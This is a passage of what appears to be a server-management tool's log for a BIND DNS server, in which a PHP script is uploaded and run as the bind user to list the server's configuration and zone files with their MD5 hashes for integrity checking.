MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 22:36:13: Establishing a connection
2026-04-22 22:36:14: 

PUT: /tmp/pkp484168

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 22:36:14: 

runuser -l bind -s /bin/bash -c '/tmp/pkp484168; rm /tmp/pkp484168'

2026-04-22 22:36:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
